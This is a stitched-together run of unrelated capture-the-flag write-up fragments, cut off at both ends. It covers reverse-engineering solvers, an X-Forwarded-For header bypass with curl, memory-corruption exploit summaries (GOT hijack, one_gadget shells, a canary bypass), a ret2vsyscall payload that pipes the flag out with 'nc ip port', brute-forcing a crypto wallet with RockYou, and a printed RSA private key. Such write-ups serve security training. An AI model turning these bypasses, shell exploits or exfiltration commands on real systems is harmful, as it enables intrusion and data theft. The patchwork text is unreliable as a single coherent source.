v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34] print("".join([chr(int(str(s.model()[var]))) for var in vars])) main()``` ```λ c:\Python27\python.exe solve.py sat [v28 = 69, v12 = 69, v14 = 120,v21 = 89, v10 = 69, v20 = 69, v3 = 81, v29 = 70, v15 = 81, v30 = 66, v23 = 81, v32 = 122,v19 = 77, v7 = 79, v4 = 85, v11 = 78, v9 = 104, v5 = 81, v16 = 106,v24 = 48, v34 = 70, v26 = 67, v18 = 120,v33 = 82, v6 = 53, v25 = 86, v31 = 78, v22 = 52, v8 = 84, v17 = 81, v27 = 78, v13 = 89] QUQ5OThENEYxQjQxMEY4Q0VCNEFBNzRF ``` The second one contains a heavily obfuscated implementation of the rc4 encryption algorithm and a hardcoded encrypted output and key. ```c++signed int __stdcall sub_4040D0(int a1){ signed int v1; // eax _BYTE *v2; // esi signed int result; // eax int v4; // [esp+8h] [ebp-278h] int v5; // [esp+Ch] [ebp-274h] int v6; // [esp+10h] [ebp-270h] int v7; // [esp+14h] [ebp-26Ch] int v8; // [esp+18h] [ebp-268h] int v9; // [esp+1Ch] [ebp-264h] int v10; // [esp+20h] [ebp-260h] int v11; // [esp+24h] [ebp-25Ch] int v12; // [esp+28h] [ebp-258h] int v13; // [esp+2Ch] [ebp-254h] int v14; // [esp+30h] [ebp-250h] int v15; // [esp+34h] [ebp-24Ch] int v16; // [esp+38h] [ebp-248h] int (__thiscall **v17)(void *, char); // [esp+3Ch] [ebp-244h] char v18; // [esp+40h] [ebp-240h] char v19; // [esp+140h] [ebp-140h] char v20; // [esp+258h] [ebp-28h] int v21; // [esp+259h] [ebp-27h] int v22; // [esp+25Dh] [ebp-23h] int v23; // [esp+261h] [ebp-1Fh] int v24; // [esp+265h] [ebp-1Bh] int v25; // [esp+269h] [ebp-17h] int v26; // [esp+26Dh] [ebp-13h] int v27; // [esp+271h] [ebp-Fh] int v28; // [esp+275h] [ebp-Bh] v1 = 0; v20 = 0; v21 = 0; v22 = 0; v23 = 0; v24 = 0; v25 = 0; v26 = 0; v27 = 0; v28 = 0; do { *(&v20 + v1) = *(_BYTE *)(a1 + 4 * v1); ++v1; } while ( v1 < 32 ); v4 = 102; v5 = 104; v6 = 110; v7 = 106; v8 = 117; v9 = 99; v10 = 118; v11 = 98; v12 = 110; v13 = 106; v14 = 117; v15 = 116; v16 = 114; v2 = operator new[](0xEu); result = 0; if ( !v2 ) return result; do { v2[result] = *((_BYTE *)&v4 + 4 * result) + 1; ++result; } while ( result < 13 ); v2[13] = 0; v17 = &off_559B00; memset(&v18, 0, 0x100u); memset(&v19, 0, 0x100u); sub_401160(v2); do { while ( v20 != -57 ) ; } while ( (_BYTE)v21 != 0x3C || BYTE1(v21) != 0x12 || BYTE2(v21) != 9 || HIBYTE(v21) != 7 || (_BYTE)v22 != 0x8Eu || BYTE1(v22) != 0x88u || BYTE2(v22) != 0xB9u || HIBYTE(v22) != 0x18 || (_BYTE)v23 != 0x94u || BYTE1(v23) != 0x4B || BYTE2(v23) != 0x6D || HIBYTE(v23) != 0x13 || (_BYTE)v24 != 0x15 || BYTE1(v24) != 0x81u || BYTE2(v24) != 0x5C || HIBYTE(v24) != 0xA5u || (_BYTE)v25 != 0xC7u || BYTE1(v25) != 0xD || BYTE2(v25) != 0x23 || HIBYTE(v25) != 0xEFu || (_BYTE)v26 != 0x45 || BYTE1(v26) != 0xECu || BYTE2(v26) != 0xC9u || HIBYTE(v26) != 0xB1u || (_BYTE)v27 != 5 || BYTE1(v27) != 0xB6u || BYTE2(v27) != 0x84u || HIBYTE(v27) != 0x37 || (_BYTE)v28 != 0x63 || BYTE1(v28) != 0xDEu || BYTE2(v28) != 0xA5u ); result = 1; return result;}``` Piece of cake: `MTQ0RDIxOUVGNUI5NDU5REE4RTFEMDNC` All of this **finally** gave us the flag `9B819EC15B4EB8A1C5CA2390AE14E28987A+whitehat+AD998D4F1B410F8CEB4AA74E144D219EF5B9459DA8E1D03B268E25A14FB1DCC923870C05`
View at the original location: https://neg9.org/news/2018/8/14/openctf-2018-forbidden-folly-1-2-writeup > Forbidden Folly 1 50 ---> Welcome to Hacker2, where uptime is a main prority: http://172.31.2.90> > Forbidden Folly 2 50 ---> It seems like out of towners are terrible at scavenger hunts: http://172.31.2.91 These challenges from OpenCTF 2018 at Defcon 26 were simple web challenges that took us way more time to solve than it should have. Attempting to visit the page linked to in the hint only resulted in a 403 Forbidden response. Eventually an organizer alluded to the server caring about the origin of the request. This led us down the incorrect path of attempting to make the request with an Origin HTTP header. Eventually though, we figured out that requesting the resource with an X-Forwarded-For HTTP header was the key: ```curl -v http://172.31.2.90/' -H 'X-Forwarded-For: 127.0.0.1'``` This returned an HTML page for the "HackerTwo System Status" page, and at the bottom of the source is the flag: ``` ``` For the second challenge in the series, we first attempted to add other HTTP request headers that we thought the hint might be alluding to with "out of towners" such as Accept-Language but nothing seemed to affect the response. The "HackerTwo System Status" page contained the following text: > If at any point all systems stop responding you may want to check the system to verify everything is running properly. Tim placed a web terminal on the system for easy access, the location of that has been emailed to everyone who has access to this portal. We thought this web terminal might be the key to finding the flag, so keeping the X-Forwarded-For header as before, we poked around a bit. Eventually after manually trying a few paths, we found /debug on the server returned a directory listing containing secret.txt, which contained the flag: ```curl -v 'http://172.31.2.91/debug/secret.txt' -H 'X-Forwarded-For: 127.0.0.1'* Trying 172.31.2.91...* TCP_NODELAY set* Connected to 172.31.2.91 (172.31.2.91) port 80 (#0)> GET /debug/secret.txt HTTP/1.1> Host: 172.31.2.91> X-Forwarded-For: 127.0.0.1>< HTTP/1.1 200 OK< Date: Sat, 11 Aug 2018 23:00:38 GMT< Server: Apache/2.4.18 (Ubuntu)< Last-Modified: Tue, 24 Jul 2018 06:38:04 GMT< ETag: "ea-571b901137e84"< Accept-Ranges: bytes< Content-Length: 234< Vary: Accept-Encoding< Content-Type: text/plain<Chad, I've created an account for you here on the system. You can log into ssh with the user chad and the password FriendOfFolly^.Please delete this message after you've read it. PS: flag{Th3_nexT_0ne_iS_D1ff1cul7} Thanks,Grace```
# re5 (re, 100pts) ```michal@DESKTOP-U3SJ9VI:/mnt/c/Users/nazyw/Downloads$ file reverse.exereverse.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows``` A .Net executable, should be fun! Let's use ILSpy: ![decompilation](decompilation.png) The decompilation is pretty clear: Our input is firstly encrypted using the `Enc` function: ```c++string text = tb_key.Text;string a = Enc(text, 9157, 41117);``` If the output matches the hardcoded string, we win:```c++if (a == "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ="){ MessageBox.Show("Correct!! You found FLAG");}else{ MessageBox.Show("Try again!");}``` ```c++public static string Enc(string s, int e, int n){ int[] array = new int[s.Length]; for (int i = 0; i < s.Length; i++) { array[i] = s[i]; } int[] array2 = new int[array.Length]; for (int i = 0; i < array.Length; i++) { array2[i] = mod(array[i], e, n); } string text = ""; for (int i = 0; i < array.Length; i++) { text += (char)array2[i]; } return Convert.ToBase64String(Encoding.Unicode.GetBytes(text));} public static int mod(int m, int e, int n){ int[] array = new int[100]; int num = 0; do { array[num] = e % 2; num++; e /= 2; } while (e != 0); int num2 = 1; for (int num3 = num - 1; num3 >= 0; num3--) { num2 = num2 * num2 % n; if (array[num3] == 1) { num2 = num2 * m % n; } } return num2;}``` The `Enc` function iterates over every letter and performs the following operation on it: `array2[i] = mod(array[i], e, n);`Since `mod` is just modular exponentiation, the encryption boils down to encrypting each letter using rsa with e=`9157` and n=`41117` we can just decrypt it using the calculated private key: ```pythonfrom base64 import b64decode def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('modular inverse does not exist') else: return x % m data = "iB6WcuCG3nq+fZkoGgneegMtA5SRRL9yH0vUeN56FgbikZFE1HhTM9R4tZPghhYGFgbUeHB4tEKRRNR4Ymu0OwljQwmRRNR4jWBweOKRRyCRRAljLGQ="data = b64decode(data)data = map(ord, data) e = 9157n = 41117 # since the modulus is just a primephi = n - 1d = modinv(e, phi) def decrypt(c): return pow(c, d, n) flag = ''for pos in range(0, len(data), 2): # strings in .Net are stored as UTF-16 x = data[pos] + data[pos+1] * 256 flag += chr(decrypt(x)) print(flag)``` `WhiteHat{N3xT_t1m3_I_wi11_Us3_l4rg3_nUmb3r}` Cool!
Solve after game GOT hijack--------------- use top chunck size to create "\xc3"(ret) forge strdup to return address on stack forge puts to call read on stack(now rip is on the stack) write shellcode and done!!
In `CodeGate 2018 - SuperMarimo` challenge, there is a `heap overflow` vulnerability by which we can leak `malloc@GOT` address in order to find `libc` base address. Using the same vulnerability, we can overwrite `malloc@GOT` (since `Full RELRO` is not enabled) with `One Gadget` address to execute `execve("/bin/sh")`. This is an interesting `heap exploitation` challenge to learn bypassing protections like `NX`, `Canary`, and `ASLR` in `x86_64` binaries.
In `StarCTF 2018 - babystack` challenge, there is a `stack overflow` vulnerability by which we can leak `atol@GOT` address to find `libc` base address, and jump to `one gadget` in order to execute `execve("/bin/sh")`. The interesting part is replacing the `stack canary` with the correct value in order to replace the `return address` without crashing the program. Basically, when using `pthread`, the `Thread Local Storage (TLS)` will be located somewhere near the thread stack, so it can be overwritten in case of a `stack overflow` vulnerability. In this challenge, we can replace the `stack_guard` attribute in `TLS` (http://www.openwall.com/lists/oss-security/2018/02/27/5) with an arbitrary value in order to bypass `canary` protection. This is an interesting `ROP` challenge to learn bypassing protections like `NX`, `Canary`, `Full RELRO`, and `ASLR` in `x86_64` binaries.
1. leak libc by %34$p2. We're able to get the address of one_gadget, so overwrite ret address by one_gadget3. get shell exploit [here](https://github.com/0x01f/pwn_repo/blob/master/Hackcon2018_elegent/solve.py)
Use ret2vsyscall + partial overwrite to call system("cat flag| nc ip port") See writeup [here](http://m4x.fun/post/whitehat2018-pwn-writeup/)(In Chinese)
**Description** > Ray said that the challenge "Leaf-Similar Trees" from last LeetCode Weekly was really same-fringe problem and wrote it in the form of coroutine which he learned from a Stanford friend. Can you decrypt the cache file dumped from a language server without reading the source code? The flag is not in the form of rwctf{} because special characters cannot be used. **Files provided** - [ccls-fringe.tar.xz](https://s3-us-west-1.amazonaws.com/realworldctf/ccls-fringe.tar.xz) **Solution** First let's examine the contents of the archive: $ tar xzfv ccls-fringe.tar.xz x .ccls-cache/ x .ccls-cache/@home@flag@/ x .ccls-cache/@home@flag@/fringe.cc.blob $ xxd .ccls-cache/\@home\@flag\@/fringe.cc.blob | head 0000000: 2202 ff00 5832 c065 8487 2a04 002f 686f "...X2.e..*../ho 0000010: 6d65 2f66 6c61 672f 6672 696e 6765 2e63 me/flag/fringe.c 0000020: 6300 0225 636c 616e 6700 2f68 6f6d 652f c..%clang./home/ 0000030: 666c 6167 2f66 7269 6e67 652e 6363 00a9 flag/fringe.cc.. 0000040: 2f75 7372 2f69 6e63 6c75 6465 2f63 2b2b /usr/include/c++ 0000050: 2f38 2e31 2e31 2f65 7874 2f61 746f 6d69 /8.1.1/ext/atomi 0000060: 6369 7479 2e68 00ff 007c 5bae 8205 682a city.h...|[...h* 0000070: 2f75 7372 2f69 6e63 6c75 6465 2f61 736d /usr/include/asm 0000080: 2d67 656e 6572 6963 2f65 7272 6e6f 2e68 -generic/errno.h 0000090: 00ff 0008 b092 b81c 472a 2f75 7372 2f69 ........G*/usr/i ([full fringe.cc.blob file](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-07-28-Real-World-CTF-Quals/scripts/fringe.cc.blob)) The `.blob` file contains a lot of C++ library names, and even some fragments of code. But clearly it is not a source code file, nor an executable. With some googling ([`ccls-cache format`](https://github.com/MaskRay/ccls/wiki/Initialization-options)) we can easily find what this cache system is – it is a file created by [`ccls`](https://github.com/MaskRay/ccls/). The documentation mentions there are two serialisation formats, JSON and binary, but it doesn't really go into the specifics of the binary format. However, after some skimming through the repository, we can find the [key files](https://github.com/MaskRay/ccls/tree/master/src/serializers) for the actual serialisation formats. These essentially only specify how to encode various primitives and standard library types, but the meat of the process, i.e. destructuring the classes used internally ba `ccls` is done [here](https://github.com/MaskRay/ccls/blob/master/src/serializer.cc). In particular: std::string Serialize(SerializeFormat format, IndexFile& file) { switch (format) { case SerializeFormat::Binary: { BinaryWriter writer; int major = IndexFile::kMajorVersion; int minor = IndexFile::kMinorVersion; Reflect(writer, major); Reflect(writer, minor); Reflect(writer, file); return writer.Take(); } // ... } And the actual `IndexFile`: // IndexFile bool ReflectMemberStart(Writer& visitor, IndexFile& value) { visitor.StartObject(); return true; } template <typename TVisitor> void Reflect(TVisitor& visitor, IndexFile& value) { REFLECT_MEMBER_START(); if (!gTestOutputMode) { REFLECT_MEMBER(last_write_time); REFLECT_MEMBER(language); REFLECT_MEMBER(lid2path); REFLECT_MEMBER(import_file); REFLECT_MEMBER(args); REFLECT_MEMBER(dependencies); } REFLECT_MEMBER(includes); REFLECT_MEMBER(skipped_ranges); REFLECT_MEMBER(usr2func); REFLECT_MEMBER(usr2type); REFLECT_MEMBER(usr2var); REFLECT_MEMBER_END(); } With this, we can start writing a deserialiser. It might have been faster to just clone the repo and see if it could be used to convert from the binary format into the JSON format, but I was worried the build would be problematic, since `ccls` depends on LLVM. Some more relevant source code files: - https://github.com/MaskRay/ccls/blob/master/src/indexer.h - https://github.com/MaskRay/ccls/blob/master/src/indexer.cc - https://github.com/MaskRay/ccls/blob/master/src/serializer.h - https://github.com/MaskRay/ccls/blob/master/src/serializer.cc - https://github.com/MaskRay/ccls/blob/master/src/position.h - https://github.com/MaskRay/ccls/blob/master/src/position.cc - https://github.com/cquery-project/cquery/blob/master/src/lsp.h - https://github.com/cquery-project/cquery/blob/master/src/symbol.h - https://github.com/MaskRay/ccls/blob/master/src/serializers/binary.h So with the data deserialised, I had all the information known to the caching system, except the original source code, of course. The data includes the C++ includes, classes, functions, and variables defined in the file. One thing I noticed while writing the deserialiser is that there is a "comments" field in all defined members (classes, functions, variables). One of these comments fields says `flag is here` (though this can clearly be seen in the file with a hex editor as well). With the deserialised data, we can tell which member this comment is attached to. Interestingly, it was a field called `int b` – clearly its 32-bit value cannot contain the actual flag, so what could this mean? Another useful piece of information in the data is `spell`, presumably the place where the name of each member is initially given (i.e. declaration). `spell` includes a `range`, i.e. the line-column positions delimiting the beginning and ending of the member name. At this point I was thinking my best bet would be to reconstruct as much of the original source code as possible from the positional data, then deduce control structures from the article mentioned in the challenge description and hope that the code somehow produces the flag. Well, in the process of doing this, I got a file that looked like this: ``` TreeNode val left right Co c stack ret Co link f root b l e s s yield x w o d dfs c x w h o i s Solution leafSimilar root1 root2 i c n c2 c1 h k insert x y main xs ys zs tx ty tz x y z s ``` ([full deserialiser script](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-07-28-Real-World-CTF-Quals/scripts/Fringe.hx)) Most of it seems normal enough, but some variables in the rightmost columns spell out `bless wod whois inhk`. Clearly this wasn't a coincidence so I checked to see if this was the flag ... and sure enough, it was! `blesswodwhoisinhk`
# EX5 (re, 26 solved, 500p) ## Reconnaissance The task is to reverse-engineer [strange file](M.ex5) that isn't recognizable by file program: ```a@x:~/Desktop/ex5$ file M.ex5 M.ex5: data``` But we can see that the first 3 bytes are `EX5`.I googled this magic and I've found that this extension is supported by program MetaTrader5. ```MetaTrader 5 is a free application for traders allowing to perform technical analysis and trading operations in the Forex and exchange markets.``` EX5 is a compiled script written in MQL5 language which is a language for automated strategies. I installed MetaTrader5 and I've run this script (dragged and dropped the file). ## Breaking the flag I've loaded the compiled script by clicking 2 times on it (placed on Desktop).Then, I've run this script in MetaTrader5 (Clicked on it). Then I launched process hacker. There was a process called `terminal64.exe`.I've filtered the memory for string "flag". I did this in the following way: I've clicked on the process and went to tab "memory". Button "strings" -> check mapped, image, private -> ok -> filter -> contains -> "flag". One of these was very promising - `0x2d50b56: your flag: %s`. I followed this string and ended up in a memory region with other interesting strings: - `Hello hacker!`- `Try again!` They all are encoded in UTF16 format. There is the length before every string(4 bytes; little-endian). One of these strings was very interesting: ```MdgsskESNr]8`am?}"M!KA~$G[v/\x7fvAO\x14S\x16G\x17X``` I've xored the beginning of it with flag format prefix and I've got: ```>>> xor('MdgsskESN','MeePwnCTF')'\x00\x01\x02#\x04\x05\x06\x07\x08'``` I've concluded that the key is 0,1,2,3,4...... and so on: ```>>> xor('MdgsskESNr]8`am?}"M!KA~$G[v/\x7fvAO\x14S\x16G\x17X',range(0,50))'MeepwnCTF{W3llc0m3_2_Th3_Bl4ck_P4r4d3}kCOZY@i~`]m\t'>>> ``` That was the flag.
```from pwn import *import re info = lambda x : log.info(x) def getStr(s): matches = re.findall(r"'(\w*)' (\d+) times",s) ret = '' s = 0 for i in matches: word,times= i ret += (str(word)*int(times)) s += ord(word) return ret+str(s) def exp(r): data = r.recvuntil('values.\n') info(data) r1 = getStr(data) info(r1) r.sendline(r1) r.interactive() r = remote('34.216.132.109', 9093) exp(r)```
# Back to the basics, re, 293p >You won't find any assembly in this challenge, only C64 BASIC. Once you get the password, the flag is CTF{password}. P.S. The challenge has been tested on the VICE emulator. Running the attached file on the emulator greets us with password prompt, so we probably have to guess it. The binary was "compiled" BASIC code, and running it through a few disassemblers showed only a couple oflines of source; much less than what we would expect from 32kB binary. There are a few strange `POKE`s there,and when we checked what addresses they write to, it turned out to be program memory - so we have a self-modifying codethere! Not willing to run it with debugger, I wrote a simple dumb disassembler, not stopping on any errors - `replace.py`.We then found some extra lines:```2001 POKE 03397, 00069 : POKE 03398, 000132002 POKE 1024 + CHKOFF + 1, 81:POKE 55296 + CHKOFF + 1, 72004 ES = 03741 : EE = 04981 : EK = 1482005 FOR I = ES TO EE : K = ( PEEK (I) + EK ) AND 255 : POKE I, K : NEXT I2009 POKE 1024 + CHKOFF + 1, 87```These lines seem to be decoding some data, which happened to be garbage bytes placed right afterwards. We wrote ascript running the same algorithm (in a few places, since there were multiple blocks of code like that) - `decode.py`.Disassembling the new code too, we found most of it readable. The encrypted chunks were of following form:```2010 V = 0.6666666666612316235641 - 0.00000000023283064365386962890625 : G = 02020 BA = ASC ( MID$ (P$, 1, 1) )2021 BB = ASC ( MID$ (P$, 2, 1) )2025 P0 = 0:P1 = 0:P2 = 0:P3 = 0:P4 = 0:P5 = 0:P6 = 0:P7 = 0:P8 = 0:P9 = 0:PA = 0:PB = 0:PC = 02030 IF BA AND 1 THEN P0 = 0.0625000000018189894035458564758300781252031 IF BA AND 2 THEN P1 = 0.01562500000045474735088646411895751953122032 IF BA AND 4 THEN P2 = 0.00390625000011368683772161602973937988282033 IF BA AND 8 THEN P3 = 0.00097656250002842170943040400743484497072034 IF BA AND 16 THEN P4 = 0.00024414062500710542735760100185871124272035 IF BA AND 32 THEN P5 = 0.00006103515625177635683940025046467781072036 IF BA AND 64 THEN P6 = 0.00001525878906294408920985006261616945272037 IF BA AND 128 THEN P7 = 0.00000381469726573602230246251565404236322040 IF BB AND 1 THEN P8 = 0.00000095367431643400557561562891351059082031 IF BB AND 2 THEN P9 = 0.00000023841857910850139390390722837764772032 IF BB AND 4 THEN PA = 0.00000005960464477712534847597680709441192033 IF BB AND 8 THEN PB = 0.0000000149011611942813371189942017736032034 IF BB AND 16 THEN PC = 0.00000000372529029857033427974855044340072050 K = V + P0 + P1 + P2 + P3 + P4 + P5 + P6 + P7 + P8 + P9 + PA + PB + PC2060 G = 0.6715657063760172100 T0 = K = G : A = 86 : B = 102200 IF T0 = - 1 THEN A = 83 : B = 52210 POKE 1024 + CHKOFF + 1, 902500 REM ``` `P` was our password, and the code seems to be checking if sum of some bits of the passwordmultiplied by a few float constants is equal to another constant - i.e. subset sum problem.We simply brute forced all the possibilities and saved the one that gave result closest tothe expected - `final.py`. Combining answers to a single text, yields the flag: `LINKED-LISTS-AND-40-BIT-FLOATS`.
# Full WriteUp Full Writeup on our website: [http://www.aperikube.fr/docs/tjctf_2018/wewillrockyou](http://www.aperikube.fr/docs/tjctf_2018/wewillrockyou) -------------# TL;DR In this task the author gaves us a cryptocurrency wallet. You just have to bruteforce the wallet with ```bruteforce-wallet``` on GitHub and the ```RockYou``` wordlist. - bruteforce-wallet: [https://github.com/glv2/bruteforce-wallet](https://github.com/glv2/bruteforce-wallet)- Rockyou: [https://wiki.skullsecurity.org/Passwords](https://wiki.skullsecurity.org/Passwords)
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010
https://medium.com/@johnhammond010/codefest-ctf-2018-writeups-f45dafebb8c2Discord: https://discord.gg/fwdTp3JYouTube: https://youtube.com/johnhammond010
by following the action link and calling it with the new cookie, I got the flag```import requestsfrom bs4 import BeautifulSoup r=requests.get("http://34.216.132.109:8083/fp/")html_doc=r.textcookies=r.cookiescount=0while True: count+=1 print count, soup = BeautifulSoup(html_doc, 'html.parser') action = soup.find('form').get('action') r2=requests.get("http://34.216.132.109:8083"+action,cookies=cookies) cookies= r2.cookies html_doc=r2.text f.write(html_doc) if "flag" in html_doc: print html_doc```
# Intercept ## Problem Statement>Garry encrypted a message with his public key and mailed it to Monika. Sure Garry is an idiot. The intercepted mail is given below as seen from Monika's side. Decrypt the message to get the key.[interceptedMail.eml](https://raw.githubusercontent.com/ketankr9/CodefestCTF18/master/writeups/static/interceptedMail_.eml) ## SolutionIt can be deduced from the ps that Garry must have also sent his private key along with the email, since Garry used his public key to encrypt the message the only way to decrypt it was with private key of Garry itself, hence he must have also sent his private key too along with the email so that Monika could decrypt it. So our first goal is to find the private key in the email. First we extract the attachment from interceptedMail_.eml, which includes removing delimiters and decoding bse64 encoded text.```$$$\> cat interceptedMail_.eml | head -n2614 | tail -n2578 | tr -d "\n\r" | base64 --decode > attachment.zip```Unzip the attachment. ```$$$\> unzip attachment.zipArchive: attachment.zip inflating: flag.enc inflating: Public_Key_Encryption_.docx```Since [.docx] files are also unzippable, so basically anything can be hidden in it, which won't even show up if opened directly.```$$$\> unzip Public_Key_Encryption_.docxArchive: Public_Key_Encryption_.docx creating: customXml/ inflating: customXml/itemProps1.xml inflating: customXml/item1.xml creating: customXml/_rels/ inflating: customXml/_rels/item1.xml.rels creating: docProps/ inflating: docProps/core.xml inflating: docProps/app.xml creating: _rels/ inflating: _rels/.rels creating: word/ inflating: word/document.xml inflating: word/header1.xml inflating: word/footnotes.xml inflating: word/endnotes.xml inflating: word/settings.xml inflating: word/styles.xml inflating: word/numbering.xml inflating: word/fontTable.xml inflating: word/webSettings.xml inflating: word/stylesWithEffects.xml creating: word/_rels/ inflating: word/_rels/document.xml.rels creating: word/media/ inflating: word/media/image2.png inflating: word/media/image3.png inflating: word/media/image1.png creating: word/theme/ inflating: word/theme/theme1.xml inflating: [Content_Types].xml```If you use binwalk to find any private key appended in any image it will give negative result. Since magic bytes of Private Key was modified :(```$$$\> binwalk word/media/image1.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 603 x 404, 8-bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed```If you just print the content of image.jpg you will find a RSA PRIVATE KEY appended to it. Simple copy it to a new file and correct its first line(RSA is missing).```$$$\> cat word/media/image1.png.......[omitted]........���V�?L�?! ?��???�B@d�X�%k��???��! �U�?��?! ?�@�??�*V{�Z! ?��???B��l?��d�????!P,?D���^?! ?��?(??"[k0�+?��???B? ��?��yϱ�IEND�B`�-----BEGIN PRIVATE KEY-----MIIEpQIBAAKCAQEAwi6zjwdY8hkkQSdzCTp7guXaGVLkH1K+tQrzAELr82mOdlqrWE0qhrjzliWhCM+jg8ruVmWf1sw2J2YqR6G5gXFF/+f3LEYgAhgZz3yBSLpPcxcOtI2Lqyyka3Pv8FmvrwbPFP8ZkQxKrz2YC1vYgu9TGLfciq3EOMT7aV7XnU0u+7ViHdL1GM2nVtwfxQHIWL+awuxhv9nqd0rBuy9lu5XipJKRXITW4rVD38qKAU/DPSiNF1RV9iUON3TjMiAi8Z3jtESB7IXoFlpAvpqtrmXjVt+hHPBZAXMUHCB66E3upXz2JrsucK+s7D1T+8v29C5kUlecGZ37rDvZ30kq+wIDAQABAoIBAQCtFhXFqyX0fsabMP/QPQn1Ls8OfZ2L8iS9manrFLvfN7rd8ooC5p2+gsPVlWsKQJMfGdcCugkU3Oh0jBOp0BVbtU1RA0KGe2dylmsDUJao7jF9hBL+i6DwjpVslmZMlpUL7YTO0WjHqu4zcDLEBTVj2NH4GYODNcrPU35KeVi2A5W/xdErMY41wFVJVUe1XsRztjM4DFxBu4oO10XCdZIEGfLqSwhlfvDMweNXxIx/dQYSjDyzzTr0LT/elXxLOHT4bQ9d46qQWBew12dwffijlg3Gr1/0R+s27TvHCbd1w4KNdW+XtH2lY6m515C/4LI8eeworMKyF8JNy0sbouuZAoGBAOjdmsmws95UMfIlMGFIY9cw5k3Q+rlcRC0Ys9JlLz9V6xaNLHPKysg7pP4rqjZJ4q4QVKCBJaOxPo2TSOXnYflc57JXubIi+O+pOmZZsiY5AslcEPwSgeJM7aW5HXYfssWm5habIhE/mayu6TV1PMa8MlBn34lxTHLG8Gx3EQBPAoGBANV5R3zhEJYQNGUt6IxR5XdRNvoDfPTGto9AxoPf7D5aJpMn2scXXhSdI5kESrqWFVjW6EmdF/QQIMYH+PMQo6GYPmHMk0I8K72QThSinQ1tTZrTDyhsVjJhsa0R3gISwSc2BnsmoT76zRwgT+w8qKzb4aiZkEmrQcvVKksYF/OVAoGBAJwjUtFfyQsPOzoYk3r3VfKJGDMfJ6433oK6aIBvViHKk0nYuPCfDh76VyQR1Rx3qCV8T7IbRkie5Ml680ssPTY9hCHBzoJSDsZrmvvbsqcMXQD02XKbWjmJyWLwX3+/u1fqE6cet9YG5hyyXy54AJtkvvvI2krHDDJ9j+G6aEzjAoGAeaxYrLrzYzT1SD40b9Y1/h4SQco/LJ0ebOQ0wfGdi6SCnBl5P0T4YLN4GL0zgsoMfMhxOZQKlRekNntQz+nJ+k72L3QU8wmsvK1Fc8mDzqVgOEDYQOgO8URxqv2mFnRuF1VZuFO6UFVPFxrrsvCYC36ATkLI1NSB+hYTtx2SeUkCgYEAyydGPEYC8jfzRhTc5IdmJ181f5e4k1pjrT/NCmIwDR1G6UZDr+qKudVV2UEL/hUSRE51nu0i1skdktBDkknIiMTyCZWM+05tZCGn93w2EUAm+5ujozdXj/Y3ilCR0pbf+mgR225qVBXgqwVd0zbwlfLHqFLZpY6XWD5tQ8vUEMY=-----END RSA PRIVATE KEY-----```Decrypt flag.enc with above obtained RSA PRIVATE KEY using openssl.```$$$\> cat flag.enc | openssl rsautl -decrypt -inkey ./key.pemThe flag is kristeinStewart_is_5EXY```**CodefestCTF{kristeinStewart_is_5EXY}** Enjoy.
# Old School (crypto, 14 solved, 740p) In the task we get 3 parts [part1](part1.txt), [part2](part2.txt), [part3](part3.txt).It seems each one is RSA public key with encrypted data. ## Part3 We're writing this in reverse order, because this is how we solved it.The last part was the simplest, because it was clear how primes were generated: ```pythontmp.nbits()1024p = next_prime(1337*tmp + randint(2, 2**512))q = next_prime(7331*tmp + randint(2, 2**512))n = p * q``` So we can see that high bits of both primes are the same, the difference is potentially at low 512 bits.This means that if we calculate `isqrt(N)` then the high bits should correspond to high bits of `p` and `q`. We can approximate `p` or `q` use Coppersmith method to calculate the real value.The approximation of `q` we can get simply from `isqrt` of N, divided by the multiplier of `p` and then we can subtract `2**512` to get close to initial `tmp` value: ```pythontmp = isqrt((N)/(1337*7331))q_approx = 7331*tmp - 2**512``` Now we can create a polynomial `P(x) = x - q_approx mod N` and the root `x0` of this polynomial would be a value such that `q_approx - x0 mod N == 0` which means `q_approx - x0` must be a factor of `N` (we omit the obvious degenerated case where `q_approx - x0 == 0`).Since `N` has only two factors `p` and `q`, then it has to be one of them. Using Coppersmith method we can find such roots, as long as they are relatively small.In our case we know that `q_approx` can't be very far from the real `q` and thus the root `x0` has to be small. ```pythonN = 139713689065649193238602077859960857468098993135221000039102730899547298927683962573562384690733560045229965690142223836971463635696618075169874035306125645096696682021038045841133380609849851790395591047968701652975799368468556274243238594974251982826875184190103880810901174411829635180158201629467635591810569775155092318675639049754541256014635438864801255760305914815607547032463796789980267388517787537827413511219215383011915710116907720461035152786018808394261912036183662986050428253151429051345333273081222126466016921456969903177087878715836995228953335073770833282613911892360743789453583070756075529298371748549 c = 124685720137286087974637083454831701339966293804422893085596270389405855619404156520743766929373287868106538299589424038783043194334560243812640561592652200368376115611247891237635032352102375266455486004707355213472127905734695141272493858057378951812357840535403155691798886254882859468912066573675006464518263526982997249121158520551576258448776707985773899806354192979203812074933169737618274419084890323034162520302687449736028470908248699174457011959674081295825304524826030316907668167104468182549336009917924574890737992068942209504351840515837871695539713067102504739121645006079782283023187240752494388988784497294 hidden = 512tmp = isqrt((N)/(1337*7331))q_approx = 7331*tmp - 2**512F.<x> = PolynomialRing(Zmod(N), implementation='NTL')f = x - q_approxroots = f.small_roots(X=2**hidden, beta=0.5)for delta in roots: print('delta', delta) print('q_approx - delta', q_approx-delta) q = q_approx-delta p = int(N)/int(q) d = inverse_mod(65537, (p-1)*(q-1)) print("d", d) decrypted = hex(int(pow(c,d,N))) print('flag =', decrypted[2:-1].decode("hex"))```From this we get private key and can decrypt the flag: `sch0Olllllllllllllllllllll!!!!}` ## Part2 In this part we didn't know exactly how the modulus was generated but if we look at hex representation we can see: 